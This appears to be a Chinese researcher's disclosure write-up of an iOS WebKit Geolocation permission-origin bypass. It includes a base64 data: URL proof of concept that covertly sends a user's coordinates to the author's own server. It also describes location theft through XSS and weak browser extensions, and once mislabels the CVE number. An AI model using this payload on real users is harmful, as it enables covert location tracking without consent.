Geolocation API被用来获取用户主机设备的地理位置,并且它有一套完整的保护用户隐私的机制。但CVE-2016-1776这个漏洞,绕过了Geolocation认证源的安全机制,并有可能导致用户隐私泄漏。本文在分析CVE-2016-1779漏洞成因的基础上探讨了Geolocation隐私机制,其中穿插的获取苹果公司的地理位置的“故事”,对用户隐私更是一个警醒。
在IOS中Geolocation认证是由UIWebView来做处理,攻击者可以绕过同源策略使认证框在任意域弹出,并且当用户点击允许后可获取到用户的地理位置。在IOS平台中,Safari和Chrome都受到这个漏洞的影响。
受影响产品:WebKit in Apple iOS < 9.3 and Safari < 9.1,Chrome
漏洞修复日期:2016/3/21
漏洞公告:
https://support.apple.com/HT206166
https://support.apple.com/HT206171
http://lists.apple.com/archives/security-announce/2016/Mar/msg00000.html
http://lists.apple.com/archives/security-announce/2016/Mar/msg00005.html
在W3C官方文档描述中,可以清晰的了解到Geolocation API的安全隐私策略。其中下面这条和我们今天分析的CVE-2016-1776相关
4.1 Privacy considerations for implementers of the Geolocation API
User agents must not send location information to Web sites without the express permission of the user. User agents must acquire permission through a user interface, unless they have prearranged trust relationships with users, as described below. The user interface must include the host component of the document’s URI[ URI ]. Those permissions that are acquired through the user interface and that are preserved beyond the current browsing session (i.e. beyond the time when the browsing context[BROWSINGCONTEXT] is navigated to another URL) must be revocable and user agents must respect revoked permissions.
https://www.w3.org/TR/geolocation-API/
这条安全策略明确指出:“Geolocation必须经过用户的许可才可以使用,除非已经预先确认了信任关系。浏览器在使用Geolocation时会弹出一个认证框来通知用户,并且在这个认证框的UI上必须包含此页面的URI。”对于这条策略,当下主流浏览器都已经实现。
触发Geolocation的认证框很简单,我们只要运行下面的代码即可,前提是之前没有允许当前域获取Geolocation。
<script>
function success(position) {}
navigator.geolocation.getCurrentPosition(success);
</script>
例如: http://www.test.com/geo.html 。运行后,浏览器会在当前页面上弹出认证对话框,对话框的UI上会显示来源: www.test.com 。
在2.2中是触发Geolocation认证源的一个简单流程。从这个过程中,我有了以下的想法。
于是,按照这个思路,开始了我的测试之旅。在这个过程中,发现IOS下Safari和Chrome在使用data:来解析这段代码时,认证源头将为“://”
data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3VjY2Vzcyhwb3NpdGlvbikge30KbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihzdWNjZXNzKTsKPC9zY3JpcHQ+Cg==
接下来,我进一步优化了POC,如下
<title>test</title>
<script>
function geo(){
window.open('http://www.google.com');
location = 'data:text/html;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ +CjxtZXRhIGNoYXJzZXQ9dXRmLTggLz4KPHRpdGxlPmdlb2xvY2F0aW9uPC90aXRsZT4KPGJvZHk+CjxzY3JpcHQ +CmZ1bmN0aW9uIHN1Y2Nlc3MocG9zaXRpb24pIHsKZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbW90ZScpLnNyYz0iaHR0cDovL3hpc2lnci5jb20vdGVzdC9nZW8v Z2V0LnBocD9nZW9sb2NhdGlvbj0iKyItLS0tLS0iK2VuY29kZVVSSUNvbXBvbmVudChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpKyIsIitlbmNvZGVVUklDb21wb25lb nQocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CiB9Cm5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oc3VjY2Vzcyk7Cjwvc2NyaXB0Pgo8aW 1nIGlkPSJyZW1vdGUiIHNyYz0iIiB3aWR0aD0wIGhlaWdodD0wPgo8L2JvZHk+CjwvaHRtbD4=';
}
</script>
<button onclick='geo()'>Click Me</button>
Base64 decode:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset=utf-8 />
<title>geolocation</title>
<body>
<script>
function success(position) {
document.getElementById('remote').src="http://xisigr.com/test/geo/get.php?geolocation="+"------"+encodeURIComponent(position.coords.latitude)+","+encodeURIComponent(position.coords.longitude);
}
navigator.geolocation.getCurrentPosition(success);
</script>
<img id="remote" src="" width=0 height=0>
</body>
</html>
还记得前面W3C官方文档对Geolocation认证源的描述吧,“认证框上的URI源,必须要和当前页面的源相同”。此时,我们已经成功的绕过了同源策略,使data:域的Geolocation认证源在其他任意域弹出。当用户点击允许后,系统也并没有检查认证UI上的源和当前页面源是否相同,于是地理位置就被发送到攻击者服务器了。
当时,我是先把这个漏洞报送给了Google,但由于Geolocation的认证100%是由IOS UIWebView来控制,所以Google对IOS平台下Chrome出现的这个问题也没有太好的解决方法。之后,我把这个漏洞提交给了APPLE。APPLE于今年3月21日在IOS 9.3版本中修复了这个漏洞。
在2016/1/6,我的服务器上收到了一些地理位置回传信息。因为在我提交的POC中明确的指出,使用自己的服务器搭建了一个漏洞验证环境,如果触发,数据则会传到我的服务器上。
在查阅后发现,37.332578830316436,-122.03068509201906,显示的正式APPLE的美国总部地址。
从获取到的返回数据可以发现,苹果研究人员分别在2016/1/6、2016/1/7、2016/1/8、2016/1/10、2016/1/20、2016/1/22、2016/1/28这7个时间段触发了POC,而且地址是相同的,都是在美国苹果总部。可能当时验证的苹果研究人员,并没有自己搭建漏洞验证环境,而是直接使用了我提供的POC中的原有环境,所以导致在验证漏洞的时候地理位置回传到了我的服务器上。
他们应该知道到这个问题,因为在POC中明确指出数据会回传到这个地址xisigr.com/test/geo/info.txt。但是,他们还是义无反顾的触发了7次漏洞,是疏忽大意还是并不在意苹果总部的地理位置被泄漏出去,因为这个地址在网上都可以任意查到。但就算是这样,我还是很惊讶,苹果测试人员的地理位置和他们的作息时间就这样被获取到了。
这当然不仅仅是一个故事,只是想提醒大家,在真实复杂的网络攻击中,蛛丝马迹的信息有时会成为“千里之堤毁于蚁穴”的突破口。不要让类似于地理位置这样重要的隐私信息变得如此廉价。
Geolocation API被主流浏览器支持,已经有些年头,Geolocation API(getCurrentPosition()、watchPosition())一直支持可以在HTTP协议中使用。但随着互联网隐私安全越来越被重视,且还赶上了各大浏览器巨头们呼吁全网HTTPS的这样一个大背景,Geolocation API被提到了一个非安全源HTTPS中不能使用的高度。终于Google最先做出了表率,在2016年4月13日Chrome 50升级更新后,Chrome中不再支持非安全源HTTP下使用Geolocation API。
Geolocation上的浏览器插件有很多,他们在使用“Geolocation”时对权限并没有考虑的那么周全,导致有可能泄漏用户的隐私。
在Firefox浏览器中,有一款地理定位的插件Geolocater,在最新版Firefox安装上后,会导致Geolocation认证源失效,也就是源变成了空。这是很可怕的事情,攻击者利用后,可以欺骗用户点击地理位置认证确认,进而获取到用户的地理位置。
Geolocater地址: https://addons.mozilla.org/en-us/firefox/addon/geolocater/
我们来看下当认证源为空时的一个攻击场景:
假设www.test.com很安全,没有任何安全风险。且页面中存在这样的代码
----www.test.com----
<iframe src="http://id.info.com">
<script src=”http://cdn.info.com”>
…………
---------------------------
如果攻击者在info.com上发现了XSS,并且注入Geolocation API。那么当用户访问www.test.com的时候,会弹出Geolocation认证对话框,因为UI中没有源的提示,用户以为是test.com域发出的请求,进而点击允许获取地理位置。这时,攻击者就获取到了用户的地理位置。
在Chrome下有一款叫“manual-geolocation”的插件。在我看来它就是Geolocation安全策略的终结者。当用户安装这个插件后,所有网站在使用Geolocation时将不再需要用户确认,而且在Chrome 50中可以在非安全源HTTP下使用。当这个插件开启时,对用户来说就是一个噩梦开始!
manual-geolocation插件地址: https://chrome.google.com/webstore/detail/manual-geolocation/jpiefjlgcjmciajdcinaejedejjfjgki
感谢TK对本文的指正!